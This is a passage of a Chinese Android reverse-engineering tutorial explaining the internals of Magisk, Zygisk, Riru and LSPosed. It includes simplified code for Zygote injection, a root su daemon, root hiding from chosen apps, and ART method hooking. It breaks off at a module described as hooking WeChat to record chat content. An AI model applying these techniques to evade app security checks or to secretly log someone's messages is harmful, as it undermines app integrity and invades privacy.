技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#22-edxposed-过渡期-2018-2020"},{"categories":null,"collections":null,"content":"2.3 Riru 注入框架 Riru 是一个通用的 Zygote 注入框架，允许模块在 Zygote 进程中运行代码。 核心原理：利用 Android 的 native bridge 机制注入 Zygote。 /** * Riru 注入原理 * * Android 的 native bridge 用于运行非原生架构的代码 * (例如在 ARM64 设备上运行 x86 应用) * * Riru 劫持了这个机制: */ // 1. Magisk 模块将 libriru.so 放入指定位置 // /system/lib64/libriruloader.so // 2. 修改系统属性 // ro.dalvik.vm.native.bridge=libriruloader.so // 3. Zygote 启动时加载 native bridge // 实际上加载的是 Riru // 4. Riru 加载所有 Riru 模块 void riru_init() { // 读取 /data/adb/riru/modules/ 目录 // 加载每个模块的 .so 文件 for (auto\u0026 module : riru_modules) { dlopen(module.path, RTLD_NOW); } } // 5. 模块可以 Hook Zygote 的关键函数 // 如 nativeForkAndSpecialize, nativeSpecializeAppProcess Riru 模块结构： /data/adb/riru/modules/ └── edxposed/ ├── lib/ │ ├── arm64-v8a/ │ │ └── libriru_edxposed.so │ └── armeabi-v7a/ │ └── libriru_edxposed.so └── module.prop Riru API (模块开发)： // Riru 模块入口 extern \"C\" void* init(void* handle) { // 注册回调 return riruInit(handle, riruApiVersion, \u0026riruModuleInfo); } // nativeForkAndSpecialize 前回调 extern \"C\" void nativeForkAndSpecializePre( JNIEnv *env, jclass clazz, jint uid, jint gid, jintArray gids, jint runtimeFlags, ... ) { // 在 fork 前执行 // 可以修改参数 } // nativeForkAndSpecialize 后回调 extern \"C\" void nativeForkAndSpecializePost( JNIEnv *env, jclass clazz, jint result ) { if (result == 0) { // 子进程 (新 App) // 执行 Hook 逻辑 } } ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:2:3","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#23-riru-注入框架"},{"categories":null,"collections":null,"content":"2.4 Zygisk 注入框架 Zygisk 是 Magisk v24+ 引入的官方 Zygote 注入机制，作为 Riru 的替代方案。 Zygisk vs Riru： 特性 Riru Zygisk 维护者 第三方 Magisk 官方 注入方式 Native Bridge 劫持 直接修补 app_process 隐藏能力 依赖额外模块 内置 DenyList 稳定性 良好 更好 模块兼容 Riru 模块格式 Zygisk 模块格式 当前状态 停止维护 活跃开发 Zygisk 核心原理： /** * Zygisk 直接修补 app_process (在内存中) * 比 Riru 的 native bridge 劫持更优雅 */ // 1. Magisk 在 post-fs-data 阶段 // 将 app_process32/64 替换为修改版 // 2. 修改版 app_process 在 main() 开始时 // 加载 libzygisk.so // 3. libzygisk.so Hook Zygote 的 fork 函数 void* zygisk_loader(void*) { // 加载 Zygisk 核心 void* handle = dlopen(\"/data/adb/magisk/zygisk/libzygisk.so\", RTLD_NOW); // 初始化 auto entry = dlsym(handle, \"zygisk_init\"); ((void(*)())entry)(); return nullptr; } // 4. Zygisk 模块 API struct ZygiskModule { // 在 App fork 前调用 void (*preAppSpecialize)(void* args); // 在 App fork 后调用 void (*postAppSpecialize)(const char* process_name); // 在系统服务 fork 前调用 void (*preServerSpecialize)(void* args); // 在系统服务 fork 后调用 void (*postServerSpecialize)(); }; Zygisk 模块结构： /data/adb/modules/lsposed/ ├── module.prop ├── post-fs-data.sh ├── service.sh └── zygisk/ ├── arm64-v8a.so # 64位模块 ├── armeabi-v7a.so # 32位模块 └── unloaded # 控制卸载行为的标记 Zygisk 模块开发： // Zygisk 模块示例 #include \u003czygisk.hpp\u003e class MyModule : public zygisk::ModuleBase { public: void onLoad(zygisk::Api* api, JNIEnv* env) override { this-\u003eapi = api; this-\u003eenv = env; } void preAppSpecialize(zygisk::AppSpecializeArgs* args) override { // 获取包名 const char* process = env-\u003eGetStringUTFChars(args-\u003enice_name, nullptr); // 判断是否需要 Hook if (strcmp(process, \"com.target.app\") == 0) { // 请求在 fork 后继续运行 api-\u003esetOption(zygisk::DLCLOSE_MODULE_LIBRARY, false); } env-\u003eReleaseStringUTFChars(args-\u003enice_name, process); } void postAppSpecialize(const zygisk::AppSpecializeArgs* args) override { // fork 完成后，在目标 App 中执行 Hook initHooks(); } private: zygisk::Api* api; JNIEnv* env; }; // 注册模块 REGISTER_ZYGISK_MODULE(MyModule) ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:2:4","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#24-zygisk-注入框架"},{"categories":null,"collections":null,"content":"2.5 LSPosed 现代标准 (2020-至今) LSPosed 是目前最主流的 Xposed 实现，采用 Zygisk (或 Riru) 作为注入基础。 核心定位： Magisk 负责 Root 权限和文件系统修改 Zygisk/Riru 负责 Zygote 注入 LSPosed 负责 Java 方法 Hook 简单说：Magisk 帮你开了门，LSPosed 帮你进去改代码。 LSPosed 关键创新： 按需注入 (Scope)：只注入勾选的目标 App 随机包名：LSPosed Manager 使用随机包名避免检测 寄生模式：可将管理器寄生到其他 App 中 Binder 通信：Manager 与 Core 通过 Binder 通信 LSPosed 启动流程： 系统启动 │ ▼ Magisk 启动 ──► 加载 Zygisk/Riru │ ▼ Zygisk 注入 Zygote ──► 加载 LSPosed Core │ ▼ App 启动请求 (fork from Zygote) │ ▼ LSPosed 检查: 这个 App 在哪些模块的作用域中? │ ├── 在 \"微信防撤回\" 作用域中 ──► 加载该模块 │ ├── 不在任何作用域中 ──► 不加载任何模块 │ ▼ App 正常运行 (仅加载必要模块) ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:2:5","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#25-lsposed-现代标准-2020-至今"},{"categories":null,"collections":null,"content":"3. Magisk 原理详解 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:3:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#3-magisk-原理详解"},{"categories":null,"collections":null,"content":"3.1 Systemless Root 概念 Magisk 的核心创新是 Systemless Root - 在不修改 /system 分区的情况下获取 Root 权限。 ┌─────────────────────────────────────────────────────────────────────────┐ │ 传统 Root vs Systemless Root │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【传统 Root】 │ │ │ │ /system/ │ │ ├── bin/ │ │ │ └── su ◄── 直接修改 /system 分区 │ │ ├── xbin/ │ │ │ └── su │ │ └── app/ │ │ └── Superuser/ ◄── Root 管理 App │ │ │ │ 问题: │ │ - 无法通过 OTA 升级 │ │ - 无法通过 SafetyNet │ │ - 修改系统分区可能变砖 │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 【Systemless Root (Magisk)】 │ │ │ │ /system/ ◄── 完全不修改 │ │ │ │ /data/adb/magisk/ │ │ ├── magisk ◄── Magisk 二进制 │ │ ├── magiskinit │ │ ├── magiskpolicy │ │ └── busybox │ │ │ │ Boot Image 修改: │ │ boot.img │ │ └── ramdisk/ │ │ └── init ──► magiskinit ◄── 替换 init 进程 │ │ │ │ 优势: │ │ - 系统分区完整，可正常 OTA │ │ - 可绕过部分检测 │ │ - 恢复简单，刷入原始 boot.img 即可 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:3:1","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#31-systemless-root-概念"},{"categories":null,"collections":null,"content":"2.2 Magisk 启动流程 ┌─────────────────────────────────────────────────────────────────────────┐ │ Magisk 启动流程 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. Bootloader 加载修补后的 boot.img │ │ │ │ │ ▼ │ │ 2. Kernel 启动，执行 ramdisk 中的 init │ │ │ (实际是 magiskinit) │ │ │ │ │ ▼ │ │ 3. magiskinit 执行初始化 │ │ ├── 解析 /system, /vendor 等分区 │ │ ├── 注入 Magisk 到 /sbin │ │ ├── 修补 sepolicy (SELinux 策略) │ │ └── 启动原始 init │ │ │ │ │ ▼ │ │ 4. 原始 init 执行系统初始化 │ │ │ │ │ ▼ │ │ 5. post-fs-data 阶段 │ │ ├── Magisk 挂载模块 │ │ ├── 执行 post-fs-data.d 脚本 │ │ └── 设置 MagiskSU 守护进程 │ │ │ │ │ ▼ │ │ 6. late_start 阶段 │ │ ├── 执行 service.d 脚本 │ │ └── Zygisk 初始化 (如果启用) │ │ │ │ │ ▼ │ │ 7. 系统完全启动，Magisk 功能就绪 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:3:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#22-magisk-启动流程"},{"categories":null,"collections":null,"content":"2.3 MagiskSU 实现原理 /** * MagiskSU 核心实现原理 (简化版) * * Magisk 的 su 实现不是传统的 SUID 二进制， * 而是通过 Unix Domain Socket 与守护进程通信 */ // ==================== su 客户端 ==================== /** * su_client.c - su 命令的客户端实现 */ #include \u003csys/socket.h\u003e #include \u003csys/un.h\u003e #define MAGISK_SOCKET \"/dev/socket/magisk\" // su 请求结构 struct su_request { int uid; // 请求的 UID int login; // 是否使用 login shell int keepenv; // 是否保留环境变量 char *shell; // 指定 shell char *command; // 要执行的命令 }; // su 响应 struct su_response { int allow; // 是否允许 int uid; // 授权的 UID int gid; // 授权的 GID }; int su_client_main(int argc, char **argv) { // 1. 解析命令行参数 struct su_request req = parse_args(argc, argv); // 2. 连接到 Magisk 守护进程 int sockfd = socket(AF_UNIX, SOCK_STREAM, 0); struct sockaddr_un addr; addr.sun_family = AF_UNIX; strcpy(addr.sun_path, MAGISK_SOCKET); if (connect(sockfd, (struct sockaddr*)\u0026addr, sizeof(addr)) \u003c 0) { fprintf(stderr, \"Cannot connect to Magisk daemon\\n\"); return 1; } // 3. 发送 su 请求 // 包含调用者 PID、UID、请求的权限等 send_su_request(sockfd, \u0026req); // 4. 等待守护进程响应 struct su_response resp; recv_su_response(sockfd, \u0026resp); if (!resp.allow) { fprintf(stderr, \"Permission denied\\n\"); return 1; } // 5. 守护进程通过 socket 传递 pts (伪终端) int pts_fd = recv_fd(sockfd); // 6. 使用新的 pts 执行 shell // 此时已经在守护进程创建的 Root 环境中 dup2(pts_fd, STDIN_FILENO); dup2(pts_fd, STDOUT_FILENO); dup2(pts_fd, STDERR_FILENO); execvp(req.shell ?: \"/system/bin/sh\", argv); return 0; } // ==================== su 守护进程 ==================== /** * su_daemon.c - Magisk 守护进程中处理 su 请求 */ void handle_su_request(int client_fd) { // 1. 接收客户端信息 struct su_request req; recv_su_request(client_fd, \u0026req); // 2. 获取调用者信息 struct ucred cred; socklen_t len = sizeof(cred); getsockopt(client_fd, SOL_SOCKET, SO_PEERCRED, \u0026cred, \u0026len); int caller_uid = cred.uid; int caller_pid = cred.pid; // 3. 查找调用者的应用信息 char *pkg_name = get_package_name(caller_uid); char *app_name = get_app_name(caller_pid); // 4. 检查数据库中的授权状态 int policy = check_su_policy(pkg_name); struct su_response resp; switch (policy) { case POLICY_ALLOW: // 已授权，直接允许 resp.allow = 1; break; case POLICY_DENY: // 已拒绝 resp.allow = 0; break; case POLICY_QUERY: default: // 需要询问用户 resp.allow = prompt_user_for_su(pkg_name, app_name, caller_uid); // 记录用户选择 save_su_policy(pkg_name, resp.allow); break; } // 5. 发送响应 send_su_response(client_fd, \u0026resp); if (!resp.allow) { close(client_fd); return; } // 6. 创建 Root 环境 // fork 一个子进程，设置其权限 int pts_master, pts_slave; openpty(\u0026pts_master, \u0026pts_slave, NULL, NULL, NULL); pid_t pid = fork(); if (pid == 0) { // 子进程 - 将成为 Root shell close(pts_master); setsid(); // 设置 UID/GID 为 root setuid(0); setgid(0); // 设置 SELinux context setcon(\"u:r:su:s0\"); // 设置环境变量 setenv(\"HOME\", \"/data\", 1); setenv(\"SHELL\", \"/system/bin/sh\", 1); setenv(\"PATH\", \"/sbin:/system/bin:/system/xbin\", 1); // 重定向 stdio 到 pts dup2(pts_slave, STDIN_FILENO); dup2(pts_slave, STDOUT_FILENO); dup2(pts_slave, STDERR_FILENO); // 执行 shell execlp(\"/system/bin/sh\", \"sh\", NULL); } else { // 父进程 - 守护进程 close(pts_slave); // 将 pts_master fd 发送给客户端 send_fd(client_fd, pts_master); // 等待子进程结束 waitpid(pid, NULL, 0); } } ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:3:3","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#23-magisksu-实现原理"},{"categories":null,"collections":null,"content":"2.4 MagiskHide / DenyList 原理 /** * MagiskHide/DenyList 实现原理 * * 目标: 对特定应用隐藏 Magisk 的存在 */ // ==================== 进程隐藏 ==================== /** * hide_daemon.c - 隐藏守护进程 */ #include \u003csys/ptrace.h\u003e #include \u003csys/mount.h\u003e // 需要隐藏的应用列表 struct hide_list { char *package_name; int uid; }; // 监听 Zygote fork void monitor_zygote() { // 使用 ptrace 或 inotify 监控 /proc/[zygote_pid]/task while (1) { // 检测新 fork 的进程 pid_t new_pid = detect_new_fork(); if (new_pid \u003e 0) { // 获取进程信息 char *cmdline = read_proc_cmdline(new_pid); int uid = get_process_uid(new_pid); // 检查是否在隐藏列表中 if (should_hide(cmdline, uid)) { // 对该进程执行隐藏操作 do_hide_process(new_pid); } } } } /** * 对目标进程执行隐藏 */ void do_hide_process(pid_t pid) { // 1. 等待进程完成初始化 // 使用 ptrace 或等待特定事件 wait_for_process_init(pid); // 2. 卸载 Magisk 挂载的文件系统 // 在目标进程的 mount namespace 中操作 char ns_path[64]; snprintf(ns_path, sizeof(ns_path), \"/proc/%d/ns/mnt\", pid); int ns_fd = open(ns_path, O_RDONLY); setns(ns_fd, CLONE_NEWNS); // 卸载 Magisk 模块挂载点 unmount_magisk_mounts(); // 3. 清理 /proc 中的痕迹 // (这部分比较复杂，需要内核支持) // 4. 恢复原始的系统属性 // 某些属性会暴露 Root 状态 // 5. 让进程继续执行 ptrace(PTRACE_DETACH, pid, NULL, NULL); } /** * 卸载 Magisk 挂载点 */ void unmount_magisk_mounts() { // 读取 /proc/self/mounts FILE *fp = fopen(\"/proc/self/mounts\", \"r\"); char line[1024]; while (fgets(line, sizeof(line), fp)) { // 查找 Magisk 相关挂载 if (strstr(line, \"magisk\") || strstr(line, \"/sbin/.magisk\") || strstr(line, \"/data/adb\")) { // 提取挂载点 char *mountpoint = parse_mountpoint(line); // 卸载 umount2(mountpoint, MNT_DETACH); } } fclose(fp); // 卸载模块的 overlay 挂载 unmount_module_overlays(); } // ==================== Zygisk 实现 ==================== /** * Zygisk - Magisk 在 Zygote 中的代码注入 * * Zygisk 允许模块在 App 进程启动前注入代码， * 是 LSPosed 等框架的基础 */ // zygisk_loader.cpp #include \u003candroid/dlext.h\u003e /** * Zygote 进程启动时的钩子 * 通过修改 LD_PRELOAD 实现 */ __attribute__((constructor)) void zygisk_init() { // 检测当前是否是 Zygote 进程 if (!is_zygote_process()) { return; } // Hook Zygote 的关键函数 hook_zygote_functions(); // 加载 Zygisk 模块 load_zygisk_modules(); } /** * Hook app_process 中的 fork 函数 */ void hook_zygote_functions() { // 使用 PLT Hook 或 inline hook // Hook nativeForkAndSpecialize // 这是 Zygote fork 新应用进程的入口 void *art_handle = dlopen(\"libart.so\", RTLD_NOW); void *original_fork = dlsym(art_handle, \"_ZN3art...\" \"nativeForkAndSpecializeEi...\"); // 替换为我们的函数 hook_function(original_fork, my_fork_and_specialize); } /** * 我们的 fork 处理函数 */ int my_fork_and_specialize( JNIEnv *env, jclass clazz, jint uid, jint gid, jintArray gids, jint runtime_flags, jobjectArray rlimits, jint mount_external, jstring se_info, jstring nice_name, // 包名 jintArray fds_to_close, jintArray fds_to_ignore, jboolean is_child_zygote, jstring instruction_set, jstring app_data_dir, jboolean is_top_app ) { // 获取包名 const char *pkg_name = env-\u003eGetStringUTFChars(nice_name, NULL); // 检查是否需要对这个 App 执行操作 bool should_hook = check_module_target(pkg_name); bool should_hide = check_hide_list(pkg_name); // 调用原始 fork int pid = original_fork_and_specialize( env, clazz, uid, gid, gids, runtime_flags, rlimits, mount_external, se_info, nice_name, fds_to_close, fds_to_ignore, is_child_zygote, instruction_set, app_data_dir, is_top_app ); if (pid == 0) { // 子进程 (新 App) if (should_hide) { // 在子进程中执行隐藏 do_unmount_in_child(); } if (should_hook) { // 通知模块进行 Hook notify_modules_app_forked(pkg_name, uid); } } env-\u003eReleaseStringUTFChars(nice_name, pkg_name); return pid; } ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:3:4","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#24-magiskhide--denylist-原理"},{"categories":null,"collections":null,"content":"3. LSPosed / Xposed 原理详解 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:4:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#3-lsposed--xposed-原理详解"},{"categories":null,"collections":null,"content":"3.1 Xposed 框架架构 ┌─────────────────────────────────────────────────────────────────────────┐ │ LSPosed/Xposed 架构 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Xposed Module (APK) │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ │ │ IXposedHookLoad │ │ XposedBridge │ │ │ │ │ │ InitPackageRes │ │ - findAndHook │ │ │ │ │ │ ZygoteInit │ │ Method │ │ │ │ │ └────────┬────────┘ └────────┬────────┘ │ │ │ │ │ │ │ │ │ └───────────┼────────────────────┼─────────────────────────────────┘ │ │ │ │ │ │ ▼ ▼ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ XposedBridge.jar │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ │ │ XposedHelpers │ │ XC_MethodHook │ │ XC_MethodRepl │ │ │ │ │ │ - findClass │ │ - beforeHooked │ │ acement │ │ │ │ │ │ - findMethod │ │ Method │ │ │ │ │ │ │ │ - getField │ │ - afterHooked │ │ │ │ │ │ │ │ │ │ Method │ │ │ │ │ │ │ └────────┬────────┘ └────────┬────────┘ └────────┬────────┘ │ │ │ │ │ │ │ │ │ │ └───────────┼────────────────────┼────────────────────┼──────────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ libxposed_art.so (Native) │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ │ │ ART Hook │ │ Method Entry │ │ Backup/Restore │ │ │ │ │ │ - entry_point │ │ Trampoline │ │ Original │ │ │ │ │ │ replacement │ │ │ │ Method │ │ │ │ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ ART Runtime (libart.so) │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ │ │ ArtMethod │ │ JIT Compiler │ │ Class Linker │ │ │ │ │ │ - entry_point_ │ │ │ │ │ │ │ │ │ │ - code_item_ │ │ │ │ │ │ │ │ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:4:1","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#31-xposed-框架架构"},{"categories":null,"collections":null,"content":"3.2 ART Hook 核心实现 /** * LSPosed ART Hook 实现原理 * * 核心思想: 修改 ArtMethod 的 entry_point_from_quick_compiled_code_ * 使方法调用跳转到我们的 trampoline 代码 */ // ==================== ArtMethod 结构 ==================== /** * ART 虚拟机中的方法表示 * (简化版，实际结构更复杂) */ struct ArtMethod { // GC 相关 uint32_t gc_root_; // 声明此方法的类 uint32_t declaring_class_; // 访问标志 (public, private, static 等) uint32_t access_flags_; // 方法在 DEX 文件中的索引 uint32_t dex_method_index_; // 方法在 vtable 中的索引 uint16_t method_index_; // 热度计数 (用于 JIT) uint16_t hotness_count_; // ========== 关键字段 ========== // 解释执行时使用的 DEX 字节码指针 void *dex_code_item_offset_; // 快速编译代码的入口点 // 这是 Hook 的核心目标! void *entry_point_from_quick_compiled_code_; // JNI 入口点 (native 方法) void *entry_point_from_jni_; }; // ==================== Hook 实现 ==================== /** * art_hook.cpp - ART 方法 Hook */ #include \u003csys/mman.h\u003e // Trampoline 代码 (ARM64 示例) // 这段代码会在被 Hook 的方法调用时执行 const uint8_t trampoline_template[] = { // 保存寄存器 0xFD, 0x7B, 0xBF, 0xA9, // stp x29, x30, [sp, #-16]! // 加载 hook_info 地址到 x16 0x50, 0x00, 0x00, 0x58, // ldr x16, #8 // 跳转到 hook_handler 0x00, 0x02, 0x1F, 0xD6, // br x16 // hook_info 地址 (占位符，运行时填充) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; /** * Hook 信息结构 */ struct HookInfo { void *original_entry; // 原始入口点 void *hook_handler; // Hook 处理函数 void *backup_method; // 备份的原方法 void *callback_before; // before 回调 void *callback_after; // after 回调 void *additional_info; // 额外信息 }; /** * Hook 一个 Java 方法 */ bool hook_method( JNIEnv *env, jclass clazz, const char *method_name, const char *method_sig, void *before_callback, void *after_callback ) { // 1. 获取 ArtMethod 指针 jmethodID method_id = env-\u003eGetMethodID(clazz, method_name, method_sig); ArtMethod *art_method = (ArtMethod *)method_id; // 2. 备份原始方法 // 创建一个新的 ArtMethod 作为备份 ArtMethod *backup = create_backup_method(art_method); // 3. 分配 trampoline 代码内存 // 需要可执行权限 void *trampoline = mmap( NULL, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0 ); // 4. 创建 HookInfo HookInfo *hook_info = new HookInfo(); hook_info-\u003eoriginal_entry = art_method-\u003eentry_point_from_quick_compiled_code_; hook_info-\u003ehook_handler = \u0026hook_bridge; hook_info-\u003ebackup_method = backup; hook_info-\u003ecallback_before = before_callback; hook_info-\u003ecallback_after = after_callback; // 5. 填充 trampoline 代码 memcpy(trampoline, trampoline_template, sizeof(trampoline_template)); // 将 hook_info 地址写入 trampoline *(void **)((uint8_t *)trampoline + 16) = hook_info; // 6. 修改原方法的入口点 // 指向我们的 trampoline art_method-\u003eentry_point_from_quick_compiled_code_ = trampoline; // 7. 清除可能存在的 JIT 编译缓存 invalidate_jit_code(art_method); return true; } /** * Hook 桥接函数 * 当被 Hook 的方法被调用时，这个函数会被执行 */ extern \"C\" void hook_bridge(HookInfo *info, ...) { // 1. 获取调用参数 // 参数通过寄存器和栈传递 va_list args; va_start(args, info); // 2. 调用 before 回调 if (info-\u003ecallback_before) { ((BeforeCallback)info-\u003ecallback_before)(info, args); } // 3. 调用原始方法 // 通过备份的 ArtMethod void *result = call_original_method(info-\u003ebackup_method, args); // 4. 调用 after 回调 if (info-\u003ecallback_after) { result = ((AfterCallback)info-\u003ecallback_after)(info, args, result); } va_end(args); // 5. 返回结果 return result; } /** * 调用原始方法 */ void *call_original_method(ArtMethod *backup, va_list args) { // 使用备份的 ArtMethod 调用原方法 // 获取原始入口点 void *entry = backup-\u003eentry_point_from_quick_compiled_code_; // 通过函数指针调用 // 实际实现需要处理各种调用约定 typedef void *(*MethodEntry)(ArtMethod *, ...); return ((MethodEntry)entry)(backup, args); } ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:4:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#32-art-hook-核心实现"},{"categories":null,"collections":null,"content":"3.3 XposedBridge Java 层实现 /** * XposedBridge.java - Xposed 框架的 Java 层核心 */ public final class XposedBridge { private static final String TAG = \"XposedBridge\"; // 存储所有已注册的 Hook private static final ConcurrentHashMap\u003cMember, TreeSet\u003cXC_MethodHook\u003e\u003e sHookedMethodCallbacks = new ConcurrentHashMap\u003c\u003e(); /** * Hook 一个方法 * * @param hookMethod 要 Hook 的方法 * @param callback Hook 回调 * @return 用于取消 Hook 的 unhook 对象 */ public static XC_MethodHook.Unhook hookMethod( Member hookMethod, XC_MethodHook callback ) { if (!(hookMethod instanceof Method) \u0026\u0026 !(hookMethod instanceof Constructor)) { throw new IllegalArgumentException(\"Only methods and constructors can be hooked\"); } // 获取或创建该方法的回调集合 TreeSet\u003cXC_MethodHook\u003e callbacks = sHookedMethodCallbacks.get(hookMethod); if (callbacks == null) { callbacks = new TreeSet\u003c\u003e(); sHookedMethodCallbacks.put(hookMethod, callbacks); // 第一次 Hook 这个方法，进行 native Hook hookMethodNative(hookMethod); } // 添加回调 callbacks.add(callback); return callback.new Unhook(hookMethod); } /** * Native Hook 方法 * 由 libxposed_art.so 实现 */ private static native void hookMethodNative(Member method); /** * 当被 Hook 的方法被调用时，由 native 层调用此方法 */ private static Object handleHookedMethod( Member method, Object thisObject, Object[] args ) throws Throwable { // 获取该方法的所有回调 TreeSet\u003cXC_MethodHook\u003e callbacks = sHookedMethodCallbacks.get(method); if (callbacks == null || callbacks.isEmpty()) { // 没有回调，直接调用原方法 return invokeOriginalMethod(method, thisObject, args); } // 创建方法调用参数封装 XC_MethodHook.MethodHookParam param = new XC_MethodHook.MethodHookParam(); param.method = method; param.thisObject = thisObject; param.args = args; // ========== 调用 beforeHookedMethod ========== for (XC_MethodHook callback : callbacks) { try { callback.beforeHookedMethod(param); } catch (Throwable t) { XposedBridge.log(t); } // 如果回调设置了返回值，跳过后续处理 if (param.returnEarly) { return param.getResult(); } } // ========== 调用原始方法 ========== try { param.setResult(invokeOriginalMethod(method, param.thisObject, param.args)); } catch (Throwable t) { param.setThrowable(t); } // ========== 调用 afterHookedMethod ========== // 注意: 逆序调用 for (XC_MethodHook callback : callbacks.descendingSet()) { try { callback.afterHookedMethod(param); } catch (Throwable t) { XposedBridge.log(t); } } // 返回结果或抛出异常 if (param.hasThrowable()) { throw param.getThrowable(); } return param.getResult(); } /** * 调用原始方法 * 由 native 层实现 */ private static native Object invokeOriginalMethod( Member method, Object thisObject, Object[] args ) throws Throwable; } /** * XC_MethodHook.java - 方法 Hook 回调基类 */ public abstract class XC_MethodHook implements Comparable\u003cXC_MethodHook\u003e { // Hook 优先级 public final int priority; public XC_MethodHook() { this.priority = PRIORITY_DEFAULT; } public XC_MethodHook(int priority) { this.priority = priority; } /** * 方法调用前的回调 */ protected void beforeHookedMethod(MethodHookParam param) throws Throwable { // 默认空实现 } /** * 方法调用后的回调 */ protected void afterHookedMethod(MethodHookParam param) throws Throwable { // 默认空实现 } /** * 方法调用参数封装 */ public static class MethodHookParam { public Member method; public Object thisObject; public Object[] args; private Object result; private Throwable throwable; boolean returnEarly = false; public Object getResult() { return result; } public void setResult(Object result) { this.result = result; this.throwable = null; this.returnEarly = true; } public Throwable getThrowable() { return throwable; } public void setThrowable(Throwable throwable) { this.throwable = throwable; this.result = null; this.returnEarly = true; } public boolean hasThrowable() { return throwable != null; } public Object getResultOrThrowable() throws Throwable { if (throwable != null) throw throwable; return result; } } /** * 取消 Hook 的辅助类 */ public class Unhook { private final Member hookMethod; public Unhook(Member hookMethod) { this.hookMethod = hookMethod; } public void unhook() { TreeSet\u003cXC_MethodHook\u003e callbacks = sHookedMethodCallbacks.get(hookMethod); if (callbacks != null) { callbacks.remove(XC","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:4:3","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#33-xposedbridge-java-层实现"},{"categories":null,"collections":null,"content":"3.4 Xposed 模块示例 /** * 一个完整的 Xposed 模块示例 * 功能: Hook 微信发送消息，记录聊天内容 */ package com.example.xposed.wechat; import de.robv.android.xposed.IXposedHookLoadPackage; import de.robv.android.xposed.XC_MethodHook; import de.robv.android.xposed.XposedBridge; import de.robv.android.xposed.XposedHelpers; import de.robv.android.xposed.callbacks.XC_LoadPackage; public class WeChatHook implements IXposedHookLoadPackage { private static final String TAG = \"WeChatHook\"; private static final String WECHAT_PACKAGE = \"com.tencent.mm\"; @Override public void 